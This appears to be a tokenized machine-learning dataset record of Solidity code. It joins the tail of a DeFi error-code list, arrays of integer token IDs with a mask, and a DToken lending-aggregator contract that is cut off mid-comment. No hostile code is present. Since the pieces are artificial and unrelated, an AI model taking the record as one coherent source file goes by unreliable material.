internal constant NOT_TWO_TOKENS = 210; uint256 internal constant DISABLED = 211; uint256 internal constant MIN_AMP = 300; uint256 internal constant MAX_AMP = 301; uint256 internal constant MIN_WEIGHT = 302; uint256 internal constant MAX_STABLE_TOKENS = 303; uint256 internal constant MAX_IN_RATIO = 304; uint256 internal constant MAX_OUT_RATIO = 305; uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306; uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307; uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308; uint256 internal constant INVALID_TOKEN = 309; uint256 internal constant UNHANDLED_JOIN_KIND = 310; uint256 internal constant ZERO_INVARIANT = 311; uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312; uint256 internal constant ORACLE_NOT_INITIALIZED = 313; uint256 internal constant ORACLE_QUERY_TOO_OLD = 314; uint256 internal constant ORACLE_INVALID_INDEX = 315; uint256 internal constant ORACLE_BAD_SECS = 316; uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317; uint256 internal constant AMP_ONGOING_UPDATE = 318; uint256 internal constant AMP_RATE_TOO_HIGH = 319; uint256 internal constant AMP_NO_ONGOING_UPDATE = 320; uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321; uint256 internal constant STABLE_GET_BALANCE_DIDNT_CONVERGE = 322; uint256 internal constant RELAYER_NOT_CONTRACT = 323; uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324; uint256 internal constant REBALANCING_RELAYER_REENTERED = 325; uint256 internal constant GRADUAL_UPDATE_TIME_TRAVEL = 326; uint256 internal constant SWAPS_DISABLED = 327; uint256 internal constant CALLER_IS_NOT_LBP_OWNER = 328; uint256 internal constant PRICE_RATE_OVERFLOW = 329; uint256 internal constant INVALID_JOIN_EXIT_KIND_WHILE_SWAPS_DISABLED = 330; uint256 internal constant WEIGHT_CHANGE_TOO_FAST = 331; uint256 internal constant LOWER_GREATER_THAN_UPPER_TARGET = 332; uint256 internal constant UPPER_TARGET_TOO_HIGH = 333; uint256 internal constant UNHANDLED_BY_LINEAR_POOL = 334; uint256 internal constant OUT_OF_TARGET_RANGE = 335; uint256 internal constant UNHANDLED_EXIT_KIND = 336; uint256 internal constant UNAUTHORIZED_EXIT = 337; uint256 internal constant MAX_MANAGEMENT_SWAP_FEE_PERCENTAGE = 338; uint256 internal constant UNHANDLED_BY_MANAGED_POOL = 339; uint256 internal constant UNHANDLED_BY_PHANTOM_POOL = 340; uint256 internal constant TOKEN_DOES_NOT_HAVE_RATE_PROVIDER = 341; uint256 internal constant INVALID_INITIALIZATION = 342; uint256 internal constant OUT_OF_NEW_TARGET_RANGE = 343; uint256 internal constant UNAUTHORIZED_OPERATION = 344; uint256 internal constant UNINITIALIZED_POOL_CONTROLLER = 345; uint256 internal constant REENTRANCY = 400; uint256 internal constant SENDER_NOT_ALLOWED = 401; uint256 internal constant PAUSED = 402; uint256 internal constant PAUSE_WINDOW_EXPIRED = 403; uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404; uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405; uint256 internal constant INSUFFICIENT_BALANCE = 406; uint256 internal constant INSUFFICIENT_ALLOWANCE = 407; uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408; uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409; uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410; uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411; uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412; uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413; uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414; uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415; uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416; uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417; uint256 internal constant SAFE_ERC20_CALL_FAILED = 418; uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419; uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421; uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422; uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423; uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424; uint256 internal constant BUFFER_PERIOD_EXPIRED = 425; uint256 internal constant CALLER_IS_NOT_OWNER = 426; uint256 internal constant NEW_OWNER_IS_ZERO = 427; uint256 internal constant CODE_DEPLOYMENT_FAILED = 428; uint256 internal constant CALL_TO_NON_CONTRACT = 429; uint256 internal constant LOW_LEVEL_CALL_FAILED = 430; uint256 internal constant NOT_PAUSED = 431; uint256 internal constant ADDRESS_ALREADY_ALLOWLISTED = 432; uint256 internal constant ADDRESS_NOT_ALLOWLISTED = 433; uint256 internal constant ERC20_BURN_EXCEEDS_BALANCE = 434; uint256 internal constant INVALID_OPERATION = 435; uint256 internal constant INVALID_POOL_ID = 500; uint256 internal constant CALLER_NOT_POOL = 501; uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502; uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503; uint256 internal constant INVALID_SIGNATURE = 504; uint256 internal constant EXIT_BELOW_MIN = 505; uint256 internal constant JOIN_ABOVE_MAX = 506; uint256 internal constant SWAP_LIMIT = 507; uint256 internal constant SWAP_DEADLINE = 508; uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509; uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510; uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511; uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512; uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513; uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514; uint256 internal constant INVALID_POST_LOAN_BALANCE = 515; uint256 internal constant INSUFFICIENT_ETH = 516; uint256 internal constant UNALLOCATED_ETH = 517; uint256 internal constant ETH_TRANSFER = 518; uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519; uint256 internal constant TOKENS_MISMATCH = 520; uint256 internal constant TOKEN_NOT_REGISTERED = 521; uint256 internal constant TOKEN_ALREADY_REGISTERED = 522; uint256 internal constant TOKENS_ALREADY_SET = 523; uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524; uint256 internal constant NONZERO_TOKEN_BALANCE = 525; uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526; uint256 internal constant POOL_NO_TOKENS = 527; uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528; uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600; uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601; uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602; }
13,931,079
[ 1, 10477, 2741, 10314, 16000, 453, 8192, 10560, 17329, 5782, 281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 9372, 288, 203, 565, 2254, 5034, 2713, 5381, 11689, 67, 12959, 17430, 273, 374, 31, 203, 565, 2254, 5034, 2713, 5381, 10025, 67, 12959, 17430, 273, 404, 31, 203, 565, 2254, 5034, 2713, 5381, 10025, 67, 31625, 17430, 273, 576, 31, 203, 565, 2254, 5034, 2713, 5381, 490, 1506, 67, 12959, 17430, 273, 890, 31, 203, 565, 2254, 5034, 2713, 5381, 18449, 67, 2565, 25216, 273, 1059, 31, 203, 565, 2254, 5034, 2713, 5381, 27355, 67, 14005, 273, 1381, 31, 203, 565, 2254, 5034, 2713, 5381, 1139, 67, 5069, 67, 3932, 67, 5315, 2124, 3948, 273, 1666, 31, 203, 565, 2254, 5034, 2713, 5381, 1624, 67, 5069, 67, 3932, 67, 5315, 2124, 3948, 273, 2371, 31, 203, 565, 2254, 5034, 2713, 5381, 27958, 67, 5069, 67, 3932, 67, 5315, 2124, 3948, 273, 1725, 31, 203, 565, 2254, 5034, 2713, 5381, 10071, 67, 16109, 15624, 273, 2468, 31, 203, 203, 565, 2254, 5034, 2713, 5381, 8210, 67, 3932, 67, 5315, 2124, 3948, 273, 2130, 31, 203, 565, 2254, 5034, 2713, 5381, 26049, 11245, 67, 8552, 273, 13822, 31, 203, 565, 2254, 5034, 2713, 5381, 26049, 11245, 67, 8412, 55, 273, 21822, 31, 203, 565, 2254, 5034, 2713, 5381, 12943, 67, 7096, 67, 30062, 11793, 273, 1728, 23, 31, 203, 565, 2254, 5034, 2713, 5381, 18449, 67, 8412, 273, 21856, 31, 203, 203, 565, 2254, 5034, 2713, 5381, 6989, 67, 8412, 55, 273, 4044, 31, 203, 565, 2254, 5034, 2713, 5381, 4552, 67, 8412, 55, 273, 3786, 31, 203, 565, 2254, 5034, 2713, 5381, 4552, 2 ]
pragma solidity 0.5.12; import "./library/ReentrancyGuard.sol"; import "./library/Pausable.sol"; import "./library/ERC20SafeTransfer.sol"; import "./library/SafeMath.sol"; import "./interface/IDispatcher.sol"; import "./interface/IHandler.sol"; contract DToken is ReentrancyGuard, Pausable, ERC20SafeTransfer { using SafeMath for uint256; // --- Data --- bool private initialized; // Flag of initialize data struct DTokenData { uint256 exchangeRate; uint256 totalInterest; } DTokenData public data; address public feeRecipient; mapping(bytes4 => uint256) public originationFee; // Trade fee address public dispatcher; address public token; address public swapModel; uint256 constant BASE = 10**18; // --- ERC20 Data --- string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; struct Balance { uint256 value; uint256 exchangeRate; uint256 interest; } mapping(address => Balance) public balances; mapping(address => mapping(address => uint256)) public allowance; // --- User Triggered Event --- event Approval(address indexed src, address indexed guy, uint256 wad); event Transfer(address indexed src, address indexed dst, uint256 wad); event Interest( address indexed src, uint256 interest, uint256 increase, uint256 totalInterest ); event Mint( address indexed account, uint256 indexed pie, uint256 wad, uint256 totalSupply, uint256 exchangeRate ); event Redeem( address indexed account, uint256 indexed pie, uint256 wad, uint256 totalSupply, uint256 exchangeRate ); // --- Admin Triggered Event --- event Rebalance( address[] withdraw, uint256[] withdrawAmount, address[] supply, uint256[] supplyAmount ); event TransferFee(address token, address feeRecipient, uint256 amount); event FeeRecipientSet(address oldFeeRecipient, address newFeeRecipient); event NewDispatcher(address oldDispatcher, address Dispatcher); event NewSwapModel(address _oldSwapModel, address _newSwapModel); event NewOriginationFee( bytes4 sig, uint256 oldOriginationFeeMantissa, uint256 newOriginationFeeMantissa ); /** * The constructor is used here to ensure that the implementation * contract is initialized. An uncontrolled implementation * contract might lead to misleading state * for users who accidentally interact with it. */ constructor( string memory _name, string memory _symbol, address _token, address _dispatcher ) public { initialize(_name, _symbol, _token, _dispatcher); } /************************/ /*** Admin Operations ***/ /************************/ // --- Init --- function initialize( string memory _name, string memory _symbol, address _token, address _dispatcher ) public { require(!initialized, "initialize: Already initialized!"); owner = msg.sender; initReentrancyStatus(); feeRecipient = address(this); name = _name; symbol = _symbol; token = _token; dispatcher = _dispatcher; decimals = IERC20(_token).decimals(); data.exchangeRate = BASE; initialized = true; emit NewDispatcher(address(0), _dispatcher); } /** * @dev Authorized function to set a new dispatcher. * @param _newDispatcher New dispatcher contract address. */ function updateDispatcher(address _newDispatcher) external auth { address _oldDispatcher = dispatcher; require( _newDispatcher != address(0) && _newDispatcher != _oldDispatcher, "updateDispatcher: dispatcher can be not set to 0 or the current one." ); dispatcher = _newDispatcher; emit NewDispatcher(_oldDispatcher, _newDispatcher); } /** * @dev Authorized function to set a new model contract to swap. * @param _newSwapModel New model contract address. */ function setSwapModel(address _newSwapModel) external auth { address _oldSwapModel = swapModel; require( _newSwapModel != address(0) && _newSwapModel != _oldSwapModel, "setSwapModel: swap model can be not set to 0 or the current one." ); swapModel = _newSwapModel; emit NewSwapModel(_oldSwapModel, _newSwapModel); } /** * @dev Authorized function to set a new fee recipient. * @param _newFeeRecipient The address allowed to collect fees. */ function setFeeRecipient(address _newFeeRecipient) external auth { address _oldFeeRecipient = feeRecipient; require( _newFeeRecipient != address(0) && _newFeeRecipient != _oldFeeRecipient, "setFeeRecipient: feeRecipient can be not set to 0 or the current one." ); feeRecipient = _newFeeRecipient; emit FeeRecipientSet(_oldFeeRecipient, feeRecipient); } /** * @dev Authorized function to set a new origination fee. * @param _sig function signature. * @param _newOriginationFee New trading fee ratio, scaled by 1e18. */ function updateOriginationFee(bytes4 _sig, uint256 _newOriginationFee) external auth { require( _newOriginationFee < BASE, "updateOriginationFee: incorrect fee." ); uint256 _oldOriginationFee = originationFee[_sig]; require( _oldOriginationFee != _newOriginationFee, "updateOriginationFee: fee has already set to this value." ); originationFee[_sig] = _newOriginationFee; emit NewOriginationFee(_sig, _oldOriginationFee, _newOriginationFee); } /** * @dev Authorized function to swap airdrop tokens to increase yield. * @param _token Airdrop token to swap from. * @param _amount Amount to swap. */ function swap(address _token, uint256 _amount) external auth { require(swapModel != address(0), "swap: no swap model available!"); (bool success, ) = swapModel.delegatecall( abi.encodeWithSignature("swap(address,uint256)", _token, _amount) ); require(success, "swap: swap to another token failed!"); } /** * @dev Authorized function to transfer token out. * @param _token The underlying token. * @param _amount Amount to transfer. */ function transferFee(address _token, uint256 _amount) external auth { require( feeRecipient != address(this), "transferFee: Can not transfer fee back to this contract." ); require( doTransferOut(_token, feeRecipient, _amount), "transferFee: Token transfer out of contract failed." ); emit TransferFee(_token, feeRecipient, _amount); } /** * @dev Authorized function to rebalance underlying token between handlers. * @param _withdraw From which handlers to withdraw. * @param _withdrawAmount Amounts to withdraw. * @param _deposit To which handlers to deposit. * @param _depositAmount Amounts to deposit. */ function rebalance( address[] calldata _withdraw, uint256[] calldata _withdrawAmount, address[] calldata _deposit, uint256[] calldata _depositAmount ) external auth { require( _withdraw.length == _withdrawAmount.length && _deposit.length == _depositAmount.length, "rebalance: the length of addresses and amounts must match." ); address _token = token; address _defaultHandler = IDispatcher(dispatcher).defaultHandler(); // Start withdrawing uint256[] memory _realWithdrawAmount = new uint256[]( _withdrawAmount.length ); for (uint256 i = 0; i < _withdraw.length; i++) { // No need to withdraw from default handler, all withdrown tokens go to it if (_withdrawAmount[i] == 0 || _defaultHandler == _withdraw[i]) continue; // Check whether we want to withdraw all _realWithdrawAmount[i] = _withdrawAmount[i] == uint256(-1) ? IHandler(_withdraw[i]).getRealBalance(_token) : _withdrawAmount[i]; // Ensure we get the exact amount we wanted // Will fail if there is fee for withdraw // For withdraw all (-1) we check agaist the real amount require( IHandler(_withdraw[i]).withdraw(_token, _withdrawAmount[i]) == _realWithdrawAmount[i], "rebalance: actual withdrown amount does not match the wanted" ); // Transfer to the default handler require( doTransferFrom( _token, _withdraw[i], _defaultHandler, _realWithdrawAmount[i] ), "rebalance: transfer to default handler failed" ); } // Start depositing for (uint256 i = 0; i < _deposit.length; i++) { require( IDispatcher(dispatcher).isHandlerActive(_deposit[i]) && IHandler(_deposit[i]).tokenIsEnabled(_token), "rebalance: both handler and token must be enabled" ); // No need to deposit into default handler, it has been there already. if (_depositAmount[i] == 0 || _defaultHandler == _deposit[i]) continue; // Transfer from default handler to the target one. require( doTransferFrom( _token, _defaultHandler, _deposit[i], _depositAmount[i] ), "rebalance: transfer to target handler failed" ); // Deposit into the target lending market require( IHandler(_deposit[i]).deposit(_token, _depositAmount[i]) == _depositAmount[i], "rebalance: deposit to the target protocal failed" ); } emit Rebalance(_withdraw, _withdrawAmount, _deposit, _depositAmount); } /*************************************/ /*** Helpers only for internal use ***/ /*************************************/ function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x.mul(y) / BASE; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x.mul(BASE).div(y); } function rdivup(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x.mul(BASE).add(y.sub(1)).div(y); } /** * @dev Current newest exchange rate, scaled by 1e18. */ function getCurrentExchangeRate() internal returns (uint256) { address[] memory _handlers = getHandlers(); return getCurrentExchangeRateByHandler(_handlers, token); } /** * @dev Calculate the exchange rate according to handlers and their token balance. * @param _handlers The list of handlers. * @param _token The underlying token. * @return Current exchange rate between token and dToken. */ function getCurrentExchangeRateByHandler( address[] memory _handlers, address _token ) internal returns (uint256) { uint256 _totalToken = 0; // Get the total underlying token amount from handlers for (uint256 i = 0; i < _handlers.length; i++) _totalToken = _totalToken.add( IHandler(_handlers[i]).getRealBalance(_token) ); // Reset exchange rate to 1 when there is no dToken left uint256 _exchangeRate = (totalSupply == 0) ? BASE : rdiv(_totalToken, totalSupply); require(_exchangeRate > 0, "Exchange rate should not be 0!"); return _exchangeRate; } /** * @dev Update global and user's accrued interest. * @param _account User account. * @param _exchangeRate Current exchange rate. */ function updateInterest(address _account, uint256 _exchangeRate) internal { Balance storage _balance = balances[_account]; // There have been some interest since last time if ( _balance.exchangeRate > 0 && _exchangeRate > _balance.exchangeRate ) { uint256 _interestIncrease = rmul( _exchangeRate.sub(_balance.exchangeRate), _balance.value ); // Update user's accrued interst _balance.interest = _balance.interest.add(_interestIncrease); // Update global accrued interst data.totalInterest = data.totalInterest.add(_interestIncrease); emit Interest( _account, _balance.interest, _interestIncrease, data.totalInterest ); } // Update the exchange rate accordingly _balance.exchangeRate = _exchangeRate; data.exchangeRate = _exchangeRate; } /** * @dev Internal function to withdraw specific amount underlying token from handlers, * all tokens withdrown will be put into default handler. * @param _defaultHandler default handler acting as temporary pool. * @param _handlers list of handlers to withdraw. * @param _amounts list of amounts to withdraw. * @return The actual withdrown amount. */ function withdrawFromHandlers( address _defaultHandler, address[] memory _handlers, uint256[] memory _amounts ) internal returns (uint256 _totalWithdrown) { address _token = token; uint256 _withdrown; for (uint256 i = 0; i < _handlers.length; i++) { if (_amounts[i] == 0) continue; // The handler withdraw underlying token from the market. _withdrown = IHandler(_handlers[i]).withdraw(_token, _amounts[i]); require( _withdrown > 0, "withdrawFromHandlers: handler withdraw failed" ); // Transfer token from other handlers to default handler // Default handler acts as a temporary pool here if (_defaultHandler != _handlers[i]) { require( doTransferFrom( _token, _handlers[i], _defaultHandler, _withdrown ), "withdrawFromHandlers: transfer to default handler failed" ); } _totalWithdrown = _totalWithdrown.add(_withdrown); } } /***********************/ /*** User Operations ***/ /***********************/ struct MintLocalVars { address token; address[] handlers; uint256[] amounts; uint256 exchangeRate; uint256 originationFee; uint256 fee; uint256 netDepositAmount; uint256 mintAmount; uint256 wad; } /** * @dev Deposit token to earn savings, but only when the contract is not paused. * @param _dst Account who will get dToken. * @param _pie Amount to deposit, scaled by 1e18. */ function mint(address _dst, uint256 _pie) external nonReentrant whenNotPaused { MintLocalVars memory _mintLocal; _mintLocal.token = token; // Charge the fee first _mintLocal.originationFee = originationFee[msg.sig]; _mintLocal.fee = rmul(_pie, _mintLocal.originationFee); if (_mintLocal.fee > 0) require( doTransferFrom( _mintLocal.token, msg.sender, feeRecipient, _mintLocal.fee ), "mint: transferFrom fee failed" ); _mintLocal.netDepositAmount = _pie.sub(_mintLocal.fee); // Get deposit strategy base on the deposit amount. (_mintLocal.handlers, _mintLocal.amounts) = IDispatcher(dispatcher) .getDepositStrategy(_mintLocal.netDepositAmount); require( _mintLocal.handlers.length > 0, "mint: no deposit strategy available, possibly due to a paused handler" ); // Get current exchange rate. _mintLocal.exchangeRate = getCurrentExchangeRateByHandler( _mintLocal.handlers, _mintLocal.token ); for (uint256 i = 0; i < _mintLocal.handlers.length; i++) { // If deposit amount is 0 for this handler, then pass. if (_mintLocal.amounts[i] == 0) continue; // Transfer the calculated token amount from `msg.sender` to the `handler`. require( doTransferFrom( _mintLocal.token, msg.sender, _mintLocal.handlers[i], _mintLocal.amounts[i] ), "mint: transfer token to handler failed." ); // The `handler` deposit obtained token to corresponding market to earn savings. // Add the returned amount to the acutal mint amount, there could be fee when deposit _mintLocal.mintAmount = _mintLocal.mintAmount.add( IHandler(_mintLocal.handlers[i]).deposit( _mintLocal.token, _mintLocal.amounts[i] ) ); } require( _mintLocal.mintAmount <= _mintLocal.netDepositAmount, "mint: deposited more than intended" ); // Calculate amount of the dToken based on current exchange rate. _mintLocal.wad = rdiv(_mintLocal.mintAmount, _mintLocal.exchangeRate); require( _mintLocal.wad > 0, "mint: can not mint the smallest unit with the given amount" ); updateInterest(_dst, _mintLocal.exchangeRate); Balance storage _balance = balances[_dst]; _balance.value = _balance.value.add(_mintLocal.wad); totalSupply = totalSupply.add(_mintLocal.wad); emit Transfer(address(0), _dst, _mintLocal.wad); emit Mint( _dst, _pie, _mintLocal.wad, totalSupply, _mintLocal.exchangeRate ); } struct RedeemLocalVars { address token; address defaultHandler; address[] handlers; uint256[] amounts; uint256 exchangeRate; uint256 originationFee; uint256 fee; uint256 grossAmount; uint256 redeemTotalAmount; uint256 userAmount; } /** * @dev Redeem token according to input dToken amount, * but only when the contract is not paused. * @param _src Account who will spend dToken. * @param _wad Amount to burn dToken, scaled by 1e18. */ function redeem(address _src, uint256 _wad) external nonReentrant whenNotPaused { // Check the balance and allowance Balance storage _balance = balances[_src]; require(_balance.value >= _wad, "redeem: insufficient balance"); if (_src != msg.sender && allowance[_src][msg.sender] != uint256(-1)) { require( allowance[_src][msg.sender] >= _wad, "redeem: insufficient allowance" ); allowance[_src][msg.sender] = allowance[_src][msg.sender].sub(_wad); } RedeemLocalVars memory _redeemLocal; _redeemLocal.token = token; // Get current exchange rate. _redeemLocal.exchangeRate = getCurrentExchangeRate(); _redeemLocal.grossAmount = rmul(_wad, _redeemLocal.exchangeRate); _redeemLocal.defaultHandler = IDispatcher(dispatcher).defaultHandler(); require( _redeemLocal.defaultHandler != address(0) && IDispatcher(dispatcher).isHandlerActive( _redeemLocal.defaultHandler ), "redeem: default handler is inactive" ); // Get `_token` best withdraw strategy base on the withdraw amount `_pie`. (_redeemLocal.handlers, _redeemLocal.amounts) = IDispatcher(dispatcher) .getWithdrawStrategy(_redeemLocal.token, _redeemLocal.grossAmount); require( _redeemLocal.handlers.length > 0, "redeem: no withdraw strategy available, possibly due to a paused handler" ); _redeemLocal.redeemTotalAmount = withdrawFromHandlers( _redeemLocal.defaultHandler, _redeemLocal.handlers, _redeemLocal.amounts ); // Market may charge some fee in withdraw, so the actual withdrown total amount // could be less than what was intended // Use the redeemTotalAmount as the baseline for further calculation require( _redeemLocal.redeemTotalAmount <= _redeemLocal.grossAmount, "redeem: redeemed more than intended" ); updateInterest(_src, _redeemLocal.exchangeRate); // Update the balance and totalSupply _balance.value = _balance.value.sub(_wad); totalSupply = totalSupply.sub(_wad); // Calculate fee _redeemLocal.originationFee = originationFee[msg.sig]; _redeemLocal.fee = rmul( _redeemLocal.redeemTotalAmount, _redeemLocal.originationFee ); // Transfer fee from the default handler(the temporary pool) to dToken. if (_redeemLocal.fee > 0) require( doTransferFrom( _redeemLocal.token, _redeemLocal.defaultHandler, feeRecipient, _redeemLocal.fee ), "redeem: transfer fee from default handler failed" ); // Subtracting the fee _redeemLocal.userAmount = _redeemLocal.redeemTotalAmount.sub( _redeemLocal.fee ); // Transfer the remaining amount from the default handler to msg.sender. if (_redeemLocal.userAmount > 0) require( doTransferFrom( _redeemLocal.token, _redeemLocal.defaultHandler, msg.sender, _redeemLocal.userAmount ), "redeem: transfer from default handler to user failed" ); emit Transfer(_src, address(0), _wad); emit Redeem( _src, _redeemLocal.redeemTotalAmount, _wad, totalSupply, _redeemLocal.exchangeRate ); } struct RedeemUnderlyingLocalVars { address token; address defaultHandler; address[] handlers; uint256[] amounts; uint256 exchangeRate; uint256 originationFee; uint256 fee; uint256 consumeAmountWithFee; uint256 redeemTotalAmount; uint256 wad; } /** * @dev Redeem specific amount of underlying token, but only when the contract is not paused. * @param _src Account who will spend dToken. * @param _pie Amount to redeem, scaled by 1e18. */ function redeemUnderlying(address _src, uint256 _pie) external nonReentrant whenNotPaused { RedeemUnderlyingLocalVars memory _redeemLocal; _redeemLocal.token = token; // Here use the signature of redeem(), both functions should use the same fee rate _redeemLocal.originationFee = originationFee[DToken(this) .redeem .selector]; _redeemLocal.consumeAmountWithFee = rdivup( _pie, BASE.sub(_redeemLocal.originationFee) ); _redeemLocal.defaultHandler = IDispatcher(dispatcher).defaultHandler(); require( _redeemLocal.defaultHandler != address(0) && IDispatcher(dispatcher).isHandlerActive( _redeemLocal.defaultHandler ), "redeemUnderlying: default handler is inactive" ); // Get `_token` best withdraw strategy base on the redeem amount including fee. (_redeemLocal.handlers, _redeemLocal.amounts) = IDispatcher(dispatcher) .getWithdrawStrategy( _redeemLocal.token, _redeemLocal.consumeAmountWithFee ); require( _redeemLocal.handlers.length > 0, "redeemUnderlying: no withdraw strategy available, possibly due to a paused handler" ); // !!!DO NOT move up, we need the handlers to current exchange rate. _redeemLocal.exchangeRate = getCurrentExchangeRateByHandler( _redeemLocal.handlers, _redeemLocal.token ); _redeemLocal.redeemTotalAmount = withdrawFromHandlers( _redeemLocal.defaultHandler, _redeemLocal.handlers, _redeemLocal.amounts ); // Make sure enough token has been withdrown // If the market charge fee in withdraw, there are 2 cases: // 1) redeemed < intended, unlike redeem(), it should fail as user has demanded the specific amount; // 2) redeemed == intended, it is okay, as fee was covered by consuming more underlying token require( _redeemLocal.redeemTotalAmount == _redeemLocal.consumeAmountWithFee, "redeemUnderlying: withdrown more than intended" ); // Calculate amount of the dToken based on current exchange rate. _redeemLocal.wad = rdivup( _redeemLocal.redeemTotalAmount, _redeemLocal.exchangeRate ); updateInterest(_src, _redeemLocal.exchangeRate); // Check the balance and allowance Balance storage _balance = balances[_src]; require( _balance.value >= _redeemLocal.wad, "redeemUnderlying: insufficient balance" ); if (_src != msg.sender && allowance[_src][msg.sender] != uint256(-1)) { require( allowance[_src][msg.sender] >= _redeemLocal.wad, "redeemUnderlying: insufficient allowance" ); allowance[_src][msg.sender] = allowance[_src][msg.sender].sub( _redeemLocal.wad ); } // Update the balance and totalSupply _balance.value = _balance.value.sub(_redeemLocal.wad); totalSupply = totalSupply.sub(_redeemLocal.wad); // The calculated amount contains exchange token fee, if it exists. _redeemLocal.fee = _redeemLocal.redeemTotalAmount.sub(_pie); // Transfer fee from the default handler(the temporary pool) to dToken. if (_redeemLocal.fee > 0) require( doTransferFrom( _redeemLocal.token, _redeemLocal.defaultHandler, feeRecipient, _redeemLocal.fee ), "redeemUnderlying: transfer fee from default handler failed" ); // Transfer original amount _pie from the default handler to msg.sender. require( doTransferFrom( _redeemLocal.token, _redeemLocal.defaultHandler, msg.sender, _pie ), "redeemUnderlying: transfer to user failed" ); emit Transfer(_src, address(0), _redeemLocal.wad); emit Redeem( _src, _redeemLocal.redeemTotalAmount, _redeemLocal.wad, totalSupply, _redeemLocal.exchangeRate ); } // --- ERC20 Standard Interfaces --- function transfer(address _dst, uint256 _wad) external returns (bool) { return transferFrom(msg.sender, _dst, _wad); } function transferFrom( address _src, address _dst, uint256 _wad ) public nonReentrant whenNotPaused returns (bool) { Balance storage _srcBalance = balances[_src]; // Check balance and allowance require( _srcBalance.value >= _wad, "transferFrom: insufficient balance" ); if (_src != msg.sender && allowance[_src][msg.sender] != uint256(-1)) { require( allowance[_src][msg.sender] >= _wad, "transferFrom: insufficient allowance" ); allowance[_src][msg.sender] = allowance[_src][msg.sender].sub(_wad); } // Update the accured interest for both uint256 _exchangeRate = getCurrentExchangeRate(); updateInterest(_src, _exchangeRate); updateInterest(_dst, _exchangeRate); // Finally update the balance Balance storage _dstBalance = balances[_dst]; _srcBalance.value = _srcBalance.value.sub(_wad); _dstBalance.value = _dstBalance.value.add(_wad); emit Transfer(_src, _dst, _wad); return true; } function approve(address _spender, uint256 _wad) public whenNotPaused returns (bool) { allowance[msg.sender][_spender] = _wad; emit Approval(msg.sender, _spender, _wad); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { return approve(spender, allowance[msg.sender][spender].add(addedValue)); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { return approve( spender, allowance[msg.sender][spender].sub(subtractedValue) ); } function balanceOf(address account) external view returns (uint256) { return balances[account].value; } /** * @dev According 